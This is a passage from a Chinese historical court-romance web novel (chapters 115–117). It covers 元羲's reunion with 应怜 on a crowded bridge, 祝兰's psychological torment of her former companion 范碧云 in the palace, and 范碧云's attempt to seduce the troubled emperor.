“教你们去就去，哪来许多废话！”才被刘氏放出来的元平匆匆奔来，踢了说话的小厮一脚，那小厮闭上嘴跑了。他自个儿溜到郎君身边，低声地嬉皮笑脸，“适才主母相问，我可一个字儿没漏！您只管去勾栏茶坊吃酒，哪一回把小子我也带上……” 连月来，元羲携他出门、临了又把他撇下独自耍乐的事也不止一回两回。在元平看来，少年郎君舍了心腹的家人，无影无踪好几个时辰，铁定是风流快活去了。 元羲却不置可否，眼风也没给他一个。 焦急地等候马匹间，门口那几个门子取笑的话便一句不漏地飘进了他耳里。 “你只顾瞧脸，没瞧见后头才妙呢，她就这么一撅，那背、那腰身……啧啧啧……” “那是马墩子，又不撅着腚，有何可看？那双眼泪汪汪地才好看呢，平日里她对咱几个爱答不理的……” 元平听着新鲜，把门子叫过来问，门子挤眉弄眼地说了。 “咱们见那女官出了门，嚯，好大架子，说脚疼，踩不得杌凳，要踩软和的，便教跟着去的阿范给她作人凳，阿范要哭不哭的……” 元平愈听愈解气，末了评了一个字，“该！” 才家门口就吃了这样一个下马威，至于那丫头跟着去了，又得受什么磋磨，元平想，那他们家管不着了。 不一会，两匹快马牵来，元羲一踩马凳，翻身上马，带着元平一路扬尘而去。 洛京大小街道四面纵横、坊市相连，中有洛河穿城而过，叉开细渠若许，无数石桥、木桥、飞虹桥跨河而过；无论外地州县怎样凋敝荒芜，天子脚下，大街小巷、尤其内城之中，连一砖一瓦、一木一栏总是严整优雅的。这样，天子从五凤楼头，才能居高俯瞰，望见阊阖而外，千家华宇庄严连绵、百姓安居乐业，才能感喟江山稳固、福祚绵延。 这样熙熙攘攘的街面，除开三哥那般醉酒硬闯，根本跑不开马。 元平与他并驱，问：“一会儿见着了，四郎要上前说话么？” 元羲默了片刻，摇摇头，“见着就行。” 元平老气横秋地叹了口气。 既然不相认，见与不见又有什么区别？ 就这么策马溜达一段跑一段，二人向西南而行。当中一河拦道，上有一条弯弯的石拱桥，桥身并不宽长，普通轿马堪堪可擦身而过，桥上行人络绎，又有小贩张罗叫卖，更是拥挤。 “应娘子便是西南城门而入，想来咱们过了桥，若望见香车宝马，便是御赐的官驾。”元平早已探听明白。 元羲点头，“走。” 马行上桥头，才要挨着人过去，不期然对面却踏上一队车马的行列，前簇后拥，当中二马骈行，载着大抵是新入京的官员。 洛京城中，大小官员遍地跑，这本是常事。元羲只略略望一眼，便别过去，目光继续寻应怜的车驾。 不想那骈车与他对面而来，将要走过时，队伍骚动了一霎，跟着便有家奴拦住了去路。元羲被截在桥头马上，微微皱眉，越过家奴，向车中人略做了一礼，“敢问相公……” “当不得一声‘相公’。”两旁车帘一拨，当中现出端坐的人来，朱袍革履银鱼袋，身形宽胖、官样文章，“下官才外放回京，忝居五品，比起贵大人还差得远。元郎君，别来无恙啊？” 元平眼尖，望之变色，“哟”了一声。 元羲形容淡淡，并不下马，认清了车中人，“黄官人。” 黄仲骕。 他在江南义兴县时，曾与此人有一回照面。那时他循着应怜的踪迹，到得义军帐下，为赵芳庭驱使，说项太湖对面发兵的黄仲骕，连骗带哄，哄得他班师而回。 有一阵子，朝廷听了黄仲骕邀功讨赏的表奏，以为义军已散，便大肆褒奖提拔；结果不到几月，那帮人重又啸聚山林，势力更大；朝廷派出的斥候也探得了信报，说是黄仲骕弄虚作假，压根没有战胜之事。先帝一怒之下，将人贬官外放。 黄仲骕落了个凄凄惨惨的下场，怎能不恨元羲？ 如今新帝登基，一朝天子一朝臣，更兼同宁德军暂缓了关系。这黄仲骕也不知走了谁的门路，得复了官身。旧日的怨怼，今日好 巧不巧挤在桥头遇见。 第115章 第115章见归人处，何处更似此…… 元羲不欲多言，便要从窄桥而过。 黄仲骕的亲随却再次拦住了他，并以恭敬的口气说出了倨傲的话，“桥头拥挤，官人的车驾不可冲撞，还请郎君退至桥下，暂避一时。” 街巷桥路，两拨人马兜头相遇，必要退让时，有一套不成文的规矩：卑者退、高者进。 元羲去年逢恩科进士第擢拔，选为著作佐郎，掌修典史，虽清贵，到底是个六品官，低了黄仲骕一头。若说从前，有元相在朝，作为元氏的郎君，哪怕无品秩在身，阖京人也颇得另眼相看；可如今元相失势在即，以黄仲骕人品、过往嫌隙，寻了这机会，便要踩上一脚。 “我从旁取道便是。”元羲道。 黄仲骕却讽道：“下官闻听，前日里有人当街纵马伤人，是令兄长否？汝家马快，的卢不能及，下官可不敢挡其锋锐！” 桥头来来往往看热闹的闲人多了起来，不远不近地私笑窃窃。 “你这下吏，怎样说话呢！”元平跳下马，扯起方才无礼的亲随腰带，揪着不放，大喇喇地指桑骂槐，“我家官人温良敦雅，你是什么腌臜东西，桥面儿上站一站都污了方圆十里的河水！” 眼看对方脸面气成猪肝色，随从们围聚来，正要推搡动手，忽听一阵笙箫奏乐，对面飘彻而来；当头开道官鸣锣，分拨桥上人众，竟也挤上了桥，与黄仲骕的人马齐头并进，气派却压过了不知多少。 侍女仆从之中，拥簇着一辆宝盖雕车，银铃清脆，缓缓到了僵峙的两方之间，无声歇住。 车中伸出一只白玉纤纤的手，五指如葱。清雅的声音问出：“为何桥上人头攒聚？” 揪着人腰带的元平一愣，将人一搡，当先回过头，望见马上元羲。他明净的面庞在昼日映照下湛湛通透，却仿佛出了神，眼直勾勾盯着雕车，半晌无言。 女使与周围人打听得了，回禀主人，低声言语几句；对方指尖轻点了点，女使乖觉，递进一顶帷帽。 顷刻后，一袭窈窕娉婷的身影，在女使的搀扶下，悠悠地下了车。 元羲的目光随那身影流连，不期然的照面，喉头如哽阻了一般，竟不知头一句该说什么。 瞧着这样被勾了魂的郎君，元平心中暗叹了一口气，走上前，施了个礼，“……应娘子，今日凑巧，在桥上相见。” 帷帽纱帘轻轻掀开一角，里头果然露出应怜桃杏春萼般娇润的面庞。 她向元平点头，微仰首，迎着日光，瞧见了元羲。 他回过神，扶鞍桥下马，到她近前，定定地望进她眼眸，压下陡然高涨波澜的心绪，又退了半步，行了一礼，良久才开口：“娘子回京了。” “嗯，回了。”应怜笑了笑，眸中温暖。 他这厢故人重逢，悲喜暗涌；黄仲骕**晾在侧好一会，本待不满痰嗽一声，乍见开道官腰间执物，赫然是殿前司的牙牌，晓得是御赐的圣驾，登时吓得不敢再拿乔，滑下了车便拜。 争执的始末，应怜听了一耳朵，很是和善地请黄仲骕免礼，劝道：“官人不必多虑，元郎君那匹坐驾我是识得的，最是温顺，从不冲撞人。” “是、是、是！”黄仲骕哈腰点头。 “莫说是人，便是只会说话的畜生，它也不冲撞的。”应怜又温言道。 “是、是、是！” 她这才笑眯眯登了车，向元羲道：“许久未见，我正要回旧时家宅，郎君若无事，不如与我同行？” 元羲又一怔，才道一声：“好。” 开道官将黄仲骕的车马挤在一旁，伶仃可怜，护着文献公的家眷仪仗泰然安稳地过桥去了。 元平跟着元羲重又上马，紧随其后，路过脸色憋得通红的黄仲骕时，着意一拍马脖子，夸了句：“好畜生！” 那马打了个响鼻，马尾垂梢的流苏一甩，堪堪抽了黄仲骕一脸，与主人一样，昂首挺胸地走了。 城楼之上巍巍苍天，下瞰千门万户，檐飞似群鸟翔集；条条幢幢，是通衢的道路。人群如蚁，渺小得令人诧异。 范碧云就这样诧异地俯瞰着这一切。她于洛京长大，印象里却只记得左邻右舍高大的屋舍，洛河那样宽长，几乎望不到尽头。而在城楼的垛口里，洛河缩成了细细的一条，还抵不上她娘手捻的一簇绣线；屋舍也小、人更小。原来她满心琢磨的旁人的善念或恶念，到此时甚而不如一粒粟那么大。 只要她登得够高，就全可以将那些善恶踩在脚下，将人也踩在脚下。 祝兰目力深远，静静凝望某处桥头如蚁聚的那一团，待那处乌压压散了，她指与范碧云，“那里，那一穿天青的，是元四郎。” 范碧云心头一揪，先前元家门口被奚落的光景又尴尬羞恼地浮现出来。她被祝兰戏耍，众目睽睽之下，做了人凳，供她登车。那时羞窘得想要跳河，这会子一回想起，后背隐约还火辣辣的，那一双脚的鞋印子几乎踩进了她脊梁骨里。 她望见那一抹微小的天青色身影，缀在草茎般细弱的桥上，仔细盯了许久，除了衣色，仍瞧不出一点元郎君羡人的风采；终于惊诧地发觉：原来风华卓绝如元羲者，当她居高俯瞰时，他竟也寂寂泯然于众人，不过尔尔。 范碧云若有所悟。 “那一行列，想来是应娘子了。”祝兰又道，话音几不可察地柔和下来，“应公平反昭雪，她也算是苦尽甘来。” 她们都还记得，去岁的新旧年交，扬州深深的宅院里，她们相依偎地守岁，同饮了一壶里的椒柏酒；熬到明日，各自肿着一双眼皮，哈哈笑着拜年，口中咝咝白雾，将寒冬也融化了去，“吉吉利利！百事如意！” 她有一瞬的怔忪，继而便又忆起了临行的车马、道深路险、她心慌意乱地弃她而去，又想起了踩低她脊梁的脚印。 “你不该只怨我。”范碧云心中怅惘及懊悔在这一瞬几乎压垮了她，更伴着浓浓的委屈，“马车不是我雇的，歹人不是我引的；搭救你出王家，我也有份；平白经那一遭惊吓，我的苦又向谁说？你要怨，也只该怨正主，又来磋磨我作甚？” 祝兰收回目光，冷眼瞧她，“李定娘？” 范碧云不说话，面色难堪。 “她已得了还报，家败人散。听闻那王渡与她也不偕，如今一死一伤。”祝兰噙着又冷又轻的笑意，数丈高的楼头，缓缓舒出了胸中恶气，“你该庆幸，只是私心离我。否则，你便是这城墙下一抔黄土。” “她、她遭遇不幸，分明是贼匪所为……” 范碧云望着她闪烁明亮笑意的眼眸，六月中夏，却只觉后背恶寒、冷汗披沥，丝毫热意也觉察不出，一霎时，隐约明白了什么。 “你是怎样逃脱的……”她恐慌之中，后退一步，背抵在了冰凉的城 墙夯砖上，“你手眼通天、你……你已得了这样的富贵权势，我不敢了、我不敢了！” 祝兰却伸手来，攥住了她的腕子，毫不计前嫌一般，“当心。” 继而将她拉来一步，免得失足坠楼。在她畏缩无措的目光下，斯条慢理道：“不要急，你是我放在心里的人，这些小事，我都会一样一样与你讲来。你曾经应过，刀山火海，随我共赴呢。” 她喜一阵恶一阵，范碧云如被架在火上烤，每时每刻都在受煎熬，浑浑噩噩地任她牵着；她说的话，钻进耳里，似懂非懂。 “那日你先我而逃，果然，随后那些个假标师便要害我。是我情急之下，纵身投水，本怀着必死的心，没料想上苍怜悯，竟为人所救。我求了些川资，寻到一旧相识的官宦，辗转赴京，那时举目茫茫，更不比你如今惶恐。好在天不绝我，阴差阳错，我入了时为太子的官家府邸，治好了他的病，由此才立稳了脚跟。如今官家为圣主，我自然随侍左右。说起来，我能有今日的显赫，这其间还有你一份功劳呢。” 城楼的风有些紧，裹挟着热浪吹在范碧云脸面上。她木然任着风吹，缭乱的鬓发细微地刺着脸颊，是祝兰轻轻地替她撩开，别在了耳后。 范碧云忽活了回来，救命稻草似的抓住她的手，哀求已极，“你……贵人放了我吧，我不敢肖想了，我情愿再回元家。他家要败了！我落不了好的！我、我跟着他们吃苦受罪，遂你的心意，好不好？” 此时祝兰却又仁慈起来，笑她说傻话似的，“跟着我不好么？宫里去过鲜花着锦的日子，强似在元家行将就木。你好好的，今后不再叛我，我必给你指一条明路。” 她宽和大度地笑，范碧云瞧着瞧着，哇一声却哭了。 那时她光顾着怕，全然忘了她话中之意。这是范碧云第一次、也是最后一次登上洛京内城的城楼。她以为她从此将被困锁樊笼里，再不见天日、不得安稳。 很多年后，当她兜兜转转，又回到曾所厌恶的那种庸碌卑微的生活，在城下徒然仰望城楼，才发觉原来那里离天那样近。她站在那里，伸手能触及苍天、展翅将欲翱翔。 她曾有机会翱翔，却终被浮云遮障眼目，生生剪断了自己的翅羽。 第116章 第116章芭蕉绿，芳时歇 应怜同元羲回了旧宅。 说是旧家宅，实则二年前被查封后，早已归了他人。那一户就着原先屋院园池的格局，改改修修；又嫌主家曾有逆事，在堪舆风水的指点下，填了一园小池，尤其将先人祠堂掀了个底朝天，植上了郁郁的花木。 应怜立在一丛丛葱茏争艳的蔷薇与素馨之间，艰难地辨认祠堂前曾矗立的那块碑的方位，却只瞧见一片连绵的青翠朱红，茉莉欢畅地拂过同样欢畅来去的女使的裙裾，毫不再残剩那一道长长的拖曳的血痕。 父母所居的正堂也已被推倒重修了。应栖院里、他向来最爱的那块假山石被挪在了新的小池畔。一切面貌全非，全无了旧人的痕迹。 家中旧仆各自流落，零星几个被寻回，围簇着她，一时嘈嘈杂杂地说话，一时悲悲切切地笑，一时背过身去偷偷抹泪，争相打理家事。 元羲道：“屋宅、奴仆俱是官家着意为你寻回的，可见他念应公旧情谊。” “是啊。”她觉着有些恍惚，眼前之景处处熟悉，又处处透着陌生，教她悲也不知悲从何来，“我家为他获罪，这本是人之常情。” 他们一面走，却又在一处天井的廊外瞧见一株巍巍硕大的芭蕉，叶叶如盖，深青新翠，溽夏里说不出的蕴凉可爱。 “这芭蕉竟也还在么？”应怜说不出的感慨，如重逢了旧友，轻轻捏着它伸来的一枝大叶，欣喜地瞧之不尽，“还是这般绿映映的……不过仿佛矮了些。” 元羲于她身畔，见她鲜妍清婉的面容，半臂襦裙像极了芭蕉最嫩的一点蕊黄，笑靥比翠玉流光更留人心魂，不由望了良久，便忽地忆起一幅画面：她髫龄丫髻，欢笑地在芭蕉叶底穿梭，与他玩捉迷藏。 那也不知是多久以前。这株芭蕉望着他们长大，从两小无猜，到情意逐渐懵懂。 “那是你长高了。”他道，清润的声音教人想起芭蕉叶间拂来的风。 应怜心有所感，似笑似叹了一声。 此时女使又来问，先前朱女官送来的那几车行囊家当怎样安置。应怜一一吩咐了，有条不紊，又格外教仔细当中那一盏红鲤无骨灯，摆放到她床头去；过后才来与元羲说话。 元羲噙着笑，微有些出神，待人走后，才道：“你如今，很有当家做主的模样了。” 他说罢，又怕这话勾起她惦念亡人的伤心事，随而换了个话茬，“朱女官携了你的行李，却未与你一道归来。我听了些风言风语，道你与……” 他难得迟疑了一下。应怜却了然，情不自禁有些脸热，却坦荡应了，“我与宗契师父同行而来。” 元羲沉默了一晌，渐渐地，俊明的脸上隐约颓然了下去，却也不再像从前，听到他的名姓，便要捕风捉影地狐疑、恼怒。 但终究还是不肯死心，再问：“你……你十分看重他……” “我心中有他。”应怜接了他的话，神色郑重，无一毫隐瞒，“且我与他，早已许了百年之好。” ——那么我呢？ 元羲极难、极涩地将那差点脱口而出的话咽回肚里，死死按住，不让再冒一点头。 他瞥眼匆促地瞧见芭蕉，瞧见枝干上深深浅浅的一片斧痕，那是花匠斫去的几片老旧的蕉叶；便蓦地一念了悟：我是她已斫去的那片蕉叶。 芭蕉常绿，哪怕再过数岁隆冬，新叶翠色转深，并不枯败。可因查抄府宅之时，兵荒马乱，伤倒了那几枝蕉叶，转过年来，它们便被斫去了。 他便是被斫去的伤坏的蕉叶，宗契则是生发的新叶。 她仍是这一株盎然的芭蕉，甚而比往昔更修挺碧翠，只是再不必有他。 他点点头，开口才觉喑哑，又说不出道喜的话，只枯涸地挤出一个字，“好。” 他们良久皆未言语。应怜心头慢慢地生了些难过。 清风拂过芭蕉，蕉叶微摇，满眼浓浓淡淡的绿。 “上回忘了问你。”她轻声道，“你已加冠了么？” “嗯。” “字呢？仍是早先定的那个？” “是。” 应怜勉强让自己笑起来，笑着笑着，当真心涧里散开了一点清风。 “墨池。”她道。 唇齿生香，抹掉了元羲心中那一点不甘。他望进她依旧明澈的眼眸里，望见那倒影，有了光风霁月的虹彩。 范碧云以宫人的身份入了宫，在祝兰所居的蕙兰台侍奉。 蕙兰台里的宫婢内侍早塞得满满的，合香者有、煎茶者有、捧花果者有，连专司洗脚的都有。祝兰又不知是有心或无意，将人领了回来，角落里一丢，先忘了些时日，直待宫婢问起，才随意安了个差事，“听闻她针黹的手艺不错，教她二三日呈一绣品与我。” 宫婢才要去，又被祝兰叫住，“唔，也给她派个值夜的班次，好教你们几个清闲清闲。” 如此，范碧云便支使得日夜不得闲，又气恼又愤懑。 更可气的还在后头。 当她重又拈起最厌恶的绣针、捻金银入线、分丝穿锦，绣到头晕脑胀、腰酸背僵，好容易一幅松鹤祥云的帕子绣得了，引得众人瞠目夸赞，纷纷道她有一双再难得的巧手；范碧云怀着微妙的既得意又报复的小心思，将锦帕献与祝兰。祝兰只略扫了一两眼，点点头：“不错，比尚衣局所出更精妙。” 接着，教人取来金剪子，当着她欣喜的面，一寸一寸、仔仔细细将帕子剪了；裂帛一声，断了鹤的翅羽、折了松的枝叶，也僵了范碧云来不及显出震愕的俏脸。 “去吧，接着绣。”祝兰道。 自此之后，蕙兰台里，范碧云的地位一落千丈。 祝兰却又保着她，罚了两个欺生太过的宫人。范碧云心中更不比那些个宫人糊涂，还未理出个头绪时，却先渐渐察觉，自己成了最受忽视、冷落的那个。 奴仆总是瞧着主人脸色行事的。主人的好恶既不明朗，最稳妥的自是不亲近、不挤兑，但无视了。 这样的日子，范碧云过了两个月。 两个月来，祝兰也不知毁了她多少针线，夜来若醒了，必定又要香壶、又要热茶，生生磨得范碧云险些崩溃。 她无数次十分想照她略显苍白的秀面唾上一口，指着她脸门骂，“你若要杀，与我来上一刀便是！难道你装疯作疯，当真疯了不成！” 又多少次生生忍了下来。 说来可笑，偌大的宫城，上下讳言“疯”字，只因官家得过疯症。 某一日，她似乎也被这宫禁里隐隐的疯癫传染，没由来一念顿悟：她不想被这么漫无止境地折磨下去。她要……她要…… 要什么？ 她闷头在角落做针线，听打帘来报的宫人细声低语：“娘子，官家今日将过来用晚膳，请您吩咐如何安顿。” 恍如一声惊雷炸响进范碧云耳膜。她怀着近乎惊厥的狂喜与恶意，绣帕捏得死紧，手心里绞出了热汗，不动声色地想： 祝兰只是女官。而她要做贵人、做四妃，甚至……甚至……做皇后！ 她要将祝兰在脚底踩得死死的，将一沓绣帕扔在她脸上，教她没日没夜地绣；要像祝兰侮辱她那样，剪碎她的鹤、她的云、她的松。她要将她的一切统统剪碎！她要剪碎她的头发、剪烂她的脸！ “安顿什么，还如每回那样，不就行了。”祝兰淡淡的回答，漫不经心拂开珠帘，似乎从很远的地方传来。 范碧云如兜头一盆凉水泼下。 她从谵妄的臆想中回神，不得不面对这样一个现实：祝兰是官家视作眼珠子一样的人，别说宫妃，就连皇后也得敬她三分；而她还是那个她，卑微地、可怜地缩在角落里做针线的范碧云。 但一个念头，强韧如野草，在心中生根，便再难拔除；一旦 逢了丁点雨露，疯狂抽枝发芽，任谁也无法抵挡。 转机发生在入宫后的第三个月，时值仲秋，寒露已降。 宫人们都已习惯了范碧云不尴不尬的地位，连范碧云自个儿也习惯了，若哪一日祝兰未向她阴晴不定地发作，反会教她心中没底。 这夜漏至三更，她如常睡在外间小榻，并睡不安稳，又不敢翻身，怕惊醒祝兰，惹她不悦；只得直挺挺地僵躺着，越发地睡不着，只等着困顿朦胧的时刻来临。 外头忽起了一阵骚动，急急的一群人的脚步声，偶尔有一两声私语，却喁喁地听不清楚。范碧云被惊动，披衣下榻，蹑足到门口，才碰着一道边，也不知是她开了门，或是外头大力挤进来，险些被搡了个一踉跄。 宫禁内苑，哪里有粗蛮的歹人，胆敢抢入宫室；待她瞧清那人脸貌身形，吓得登时腿软，噗通跪倒在地。 那是只穿了寝衣的天子，胡乱披着件绣罗袍，头发也松散着，全无圣主的气度，夜月一衬，反倒发青发白的面色，紧抿着的唇克制不住地颤抖。 他身后仓皇跟了一批人，皆是服侍就寝的内侍宫人，跟到门廊下，反倒不敢入内，噤声屏息，分列在了两旁槛外。 范碧云心惊胆战地听里头动静，依旧衬着月色，遥望见内间绣闱之中，水样的绸纱帘一荡，依稀里头人惊醒，很快短促地唤她：“泰娘，倒茶来！” 祝兰的声音听着并无惊慌，从从容容的，便稳住了她的心神。 范碧云答应一声，也顾不得外头人众，将门阖了，将入夜便温着的热茶斟了一杯，低眉顺眼地端了去。 淡淡的湖青帘帏半开，里头隐约偎着一双人影，却不是鸳鸯交。欢，仿佛一个受惊的孩儿，钻进母亲怀中寻求慰藉似的。白日里那个圣明威严的天子、云端之上的帝王，如今便是这样，毫无顾忌地攀缠着祝兰，脸孔埋在她腰间，两人垂散的发乱散在一处，分不清彼此。 祝兰才从睡梦中惊醒，尚带几分困乏，神情便显得淡漠，屈腿而坐，轻抚着腰腹间男人头颅的动作却耐心而温柔。 揭开帘帏，范碧云瞧见的便是这样如胶似漆的一双人影。床帏里帝王惊惶而急促的喘息鼓荡着她耳膜，范碧云只觉得粗蛮又诡异。她望了一眼，便不敢再望，将手中茶盏递与祝兰。 祝兰像哄孩子似的温吞地哄他，“来，张嘴。” 官家顺从地仰起头颅，任温热的水流灌入口唇。他喉结上下滑动，才止住了发抖的身子，长长叹息了一声，又颓然伏在了她腹上。 祝兰将茶盏还给范碧云，示意她离开，又使唤她：“将灯点上半盏。” 那宫灯有厚厚的遮罩，转上半圈，里头便暗了一半。范碧云依言，无声点了半盏灯，在堪堪映明轮廓的宫室内，垂首蹑足退去了外间。 她木雕泥塑般躺回小榻上，心口仍扑通扑通地跳，总觉着恐惧，又说不出的兴奋，仿佛森冷坚冰似的宫廷巨兽倏然磕出了一个缺角，她得以乍窥见里头扭曲绞缠的血肉。天子悚怖急促的喘息尚在耳畔，有声音低低浅浅地传来，不是错觉，是内间床帏里人的私语。 “又做噩梦了？” “宽心。这是蕙兰台，我在呢。” “您登基了，是天子，不会再有人害您了。” “有我呢，睡吧。” …… 祝兰的声音比之往日，更加低柔，含着无限的安抚。伴着她的话语，天子惶惧未定的话声虚弱尾随： “我真的不是疯了么？” “他们都说我疯了……他们在我脑子里，他们在叫！” “兰娘，若这都是一场梦，我醒了，被废、没有你……我如何活！” 内室灯火虽昏，却依旧蒙蒙地映照出来。里头的人似乎已忘了范碧云的存在，低低的私语时断时续。她也不知受何而引，竟昏暗之中，复又下了榻，鞋履也未穿，赤着足，猫儿着地似的无声，一点一点挪在了隔墙边，将耳贴在熏得馨香的墙上，窥听那头受了伤的巨兽身子里的血肉脉搏的砰动。 天子的心绪终于平静下来，长久的宁静沉沉压下。 而打破宁静的是祝兰。她说起了范碧云从未听过的一些话。 第117章 第117章学舌作金雀，身向樊笼…… “三殿下年前奉先帝旨意出兵讨贼，如今也不知怎样了。说是一病病在了途中，陛下也使御医遥去医治，可始终不见究竟。如鲠在喉，怎能安稳？” 天子呜咽了一声，从胸膛深处发出，更似兽，而不似人。 祝兰温柔而怜悯地抚着他披散的发，一下、又一下，眼出神地望出帐外，望那半盏宫灯里明暗的灯火。 又是一阵沉默。 正当范碧云以为他们近乎睡着时，祝兰又说话了。 “咱们走吧。”她道。 那里头传来天子困惑的反问：“……走？” “走。你跟我走。”她话音轻得帐帘也掩不住，一层一层泛荡在半幻半真之中，“你不是想瞧鸿雁的居处么？咱们追着鸿雁的踪迹，去南地、去川蜀、去邛笮，咱们去麻逸、三佛齐，好不好？” 帐帏里传来了他似哭似笑的叹声。 “天子富有四海，却不能至四海之边。非但不能至，甚连皇城也出不得。”他道，“兰娘，朕是天子，朕不再能望飞过院墙的鸿雁了。” 祝兰道：“那就不做这天子！你从前被囚在东宫之中，如今被囚在金銮殿上，可能得几分安稳？何不与我去了，逍遥做一对燕雀？” 天子反倒冷静了下来，尤其被她惊愕住，半晌道：“你胡说什么？天子即朕，怎能去位？” 隔墙这头，范碧云瞧不真切二人面容，唯觉一阵古怪的冷漠与生疏，仿佛那只巨兽轻易填缝了血肉，重又张牙舞爪地盘伏在黑黝黝的禁宫之上，露出口是心非的狰狞之态。 她更缩在了一边，忽听里头起了几分窸窣拉扯，似是凌乱的衣衫摩挲之声，间杂了男女的轻喘。 这声音她在王渡与姬妾之中听过无数回，并不陌生。 只在她暗自揣摩天子雨露也不过凡夫相交时，湖青的绸帘一阵晃荡，竟是祝兰好容易挣脱了出来。 她赤着白皙的足，整衣拢发，面色寒霜，向着欲而不得的颓然的天子，语气也冷了下来，“官家三千美眷，不该强逼我一无心之人。我不愿与人共侍，您难道忘了？” 天子倒在温暖却空荡的床帏里，手掌遮住了脸面，良久起身，恢复了白日里常态，不再见一点被魇住的癫乱之色。他勉强将寝衣穿戴整肃一些，仿佛以怒容掩盖尴尬，不发一言，拂袖冷哼而去。 范碧云惊怖欲死，浑身冷汗如雨；祝兰却仿佛司空见惯，丝毫不见惶恐之色，反倒怔忪了一时，叹了口气，枯坐在了床上。 此夜灯再未熄。一里一外，两个人虽皆醒着，却各自存着自己的心事，一夜无眠。 那夜之后，范碧云惴惴不安，总以为蕙兰台受了天子冷落，很快逆事将至；没料想等了两日，她吃睡不下，却等来了圣上的嘉奖。 天子赏赐了三尺的红玉珊瑚一对，缕金云月冠及东珠头面四套，罗三十匹、绢二百匹，金银不一而足。范碧云奉命将钱物与宫人抬入私库，听人小声议论：“官家既夜寝赏赐，为何不升咱们娘子的品秩？” 众人皆猜议纷纷。范碧云却又忆起那夜里十分僭越的私语，以及祝兰的抗拒。 是她不愿，而非官家心不许。范碧云从未料过，竟有痴人不愿伴驾帝王，承人主恩泽的。 虽想不通，但赏赐既下，她心中终安稳了。 这一日，祝兰又要出宫。 她往日里出宫办事，总要带上范碧云，将她作个随身的物件似的，日日非要挂在身上、摆在眼前。这一回范碧云自觉要随，却被她拦住了，“你留下，等我归来。” “娘子要去哪？”范碧云意外。 祝兰却不答，“做你的针线便是。” 说罢便带着宫人去 了。 范碧云便乐得清静，独自在外间屋做了一会针线。 屋四角的冰仍镇着，凉夏宜人。前头的门虚掩着，宫人们皆在耳房或院中歇息，无人进来搅扰。范碧云捻了一回绣针，心思不由自主，又飘回了先前窥见的那一夜光景。 天子伏在祝兰的腰间，依恋她似母，却又紧密纠缠，菟丝攀援松枝也不过如此。他们之间彷佛有一种外人堪不破的隐秘与扭曲。 祝兰不愿。 若换成是她…… 正胡乱地想着，忽听外头中官说话，是教宫人传禀，圣驾来到。 三宫后妃处，凡官家欲至，必得提前去话，好教宫妃有备迎驾；唯独蕙兰台，他一念兴至，随时便来，有时逢着祝兰漱洗未毕，披头散发地便也相见了。这些官家都不在意，只与她说上几句话便好。 今日不凑巧，正逢着祝兰不在。官家扑了个空，听院中宫人回禀，有几分气闷，抬脚便要走。 那念头在范碧云心中也不知存了多少时日。她一收针线簸箩，按了按跳得厉害的胸口，眼瞥见小妆台上的菱花镜。镜中人笑靥微露，一双再灵澈不过的眸，很有几分不谙世事的纯善。 她与祝兰截然不同。祝兰高挑，她则纤细；祝兰面冷，她巧笑倩兮；祝兰孤傲，她可以做小伏低。 官家心里有祝兰，没有她。 外头几双脚步已然要走。范碧云飞快开了门，步下廊阶来迎，于一众侍人莫名的目光中，平心静气地下拜，“官家请入内少待，咱们娘子去去便回的。” 才要走的官家又回转身来，眼光在她头顶住了住，略一思索，“善。” 他去而复返，入了祝兰的屋子；中贵人亦步亦趋，随驾侍奉。范碧云也要入内，教躬身垂头的宫人一把拉住，悄声斥道：“你这烂舌根的奴婢！祝娘子至晚方归，你胆敢哄骗官家，不要命了！” “官家固然盛宠，可咱们娘子三番五次忤逆，又没有妃嫔的品秩，后宫之中树敌多矣。”范碧云匆促低语，“一旦圣心稍移，咱们阖院宫人难免遭殃。我有法子，为娘子固宠。” 几个宫人将信将疑，又惧怕起来。范碧云微笑自若，不待几人再言，跟随进屋。 炉中燎着瑞脑沉香，冰鉴里盛着鲜红如美人指的荔枝，交映在一堆碎玉琼冰之中，丝丝寒雾，溽暑尽消。锦屏之上荼蘼盛放，薄薄绢纱之后，燕服冠袍的天子端坐于花间，面容隐约，自有一份常年浸染的清贵气度。 天子算不上年轻，行将至不惑，若单论容貌，自追风也难及元家四个郎君；然天下至贵若此，本无需容貌锦上添花，无论美丑，皆是天颜，使人战战兢兢。 中贵人只随入一个，是早年便跟在天子身畔的宦官李胜儿，最是通上意，此时正近旁侍立，轻轻为他揉着太阳穴。 范碧云步履轻盈，转过绢屏来，拜见因略微头疾而皱眉的天子。 “她可与你说过，今日去了哪里？”上方的男人淡淡问。 她摇头，“并未。” “是朕惯得她。”沉默一顿，他叹了一声，眉心又拧紧了三分，“她那孤标的性子，若离了朕……” 他却又很快不再说，似乎觉着这话不该，甚至想也不该。 李胜儿专注地侍奉，缄默寡言，并不接话。 范碧云垂头默立，终于将心横下，是成是败，总有豁出去的那一刻。 “娘子吩咐奴，有一物要独示于官家。”她略抬起眼眉，盈盈一望，很快又温顺低下头去，“奴这就去取，请官家少待。” 天子有些意外，果被勾起了好奇，微扬了扬手，李胜儿停住，乖觉退下。 范碧云掀帘入了内室，行过香案时，纤纤身形带起一阵缭乱的瑞脑香。她回头，轻望了一眼，正对上天子扫量的目光，略一驻足，手拂鬓发而笑。 那双手从不曾被圣目所留意，此时一抹纤白如温玉乍现，柔美仿佛无骨，嫣红指尖恰似美人唇一点，鬓角上微微一勾，便勾住了男人的眼目。 极短的一瞬，她抹过身去，不见了身影。 里头仿佛没有了声息，那有着一双妙手的宫人不过春。梦一缕。天子心弦微动，本已止息；不过片刻，却听里头传来轻柔的宫人说话： “此物已备，官家请屈驾玩赏。” 天子依言移步。 里头却四望不见人与物，唯祝兰铺陈了锦绣的卧床之上，湖青帘帏如水波轻晃，里头隐隐约约，勾勒出个曼妙的轮廓来。 他想象着里头坐着祝兰，一步一步上前，揭开帘帏，一刹那失望后，果见那小巧的宫人，柔媚地披散了发，褪了轻薄的褙子，穿着一件湘色的抹胸，缘角精致绣了一枝带朵的胭脂海棠。 那是祝兰的抹胸。 “你姓字为何？”天子不见惊讶，目光却深了三分。 “官家想唤什么，便唤什么。”她话音低得仿佛在他耳畔，却大胆地伸来那双暖玉一样的手，轻轻一勾，便将他勾向床帏。 那双手轻轻摘了天子的玉冠，散了他的袍带，十分僭越地将他按在了她腰腹之间。 范碧云屈腿坐起，如那夜景状。那枝海棠温热柔软，紧贴天子的头脸。他惊诧于她的胆大，一时却闻到了祝兰常用的那缕衣香，散在她年少的、汩汩生春的身躯上，奇异地糅杂成一股难以抑制的渴望。 “唤我。”她再轻不过的诱引，一点一点，带着他重温那夜的幻梦。 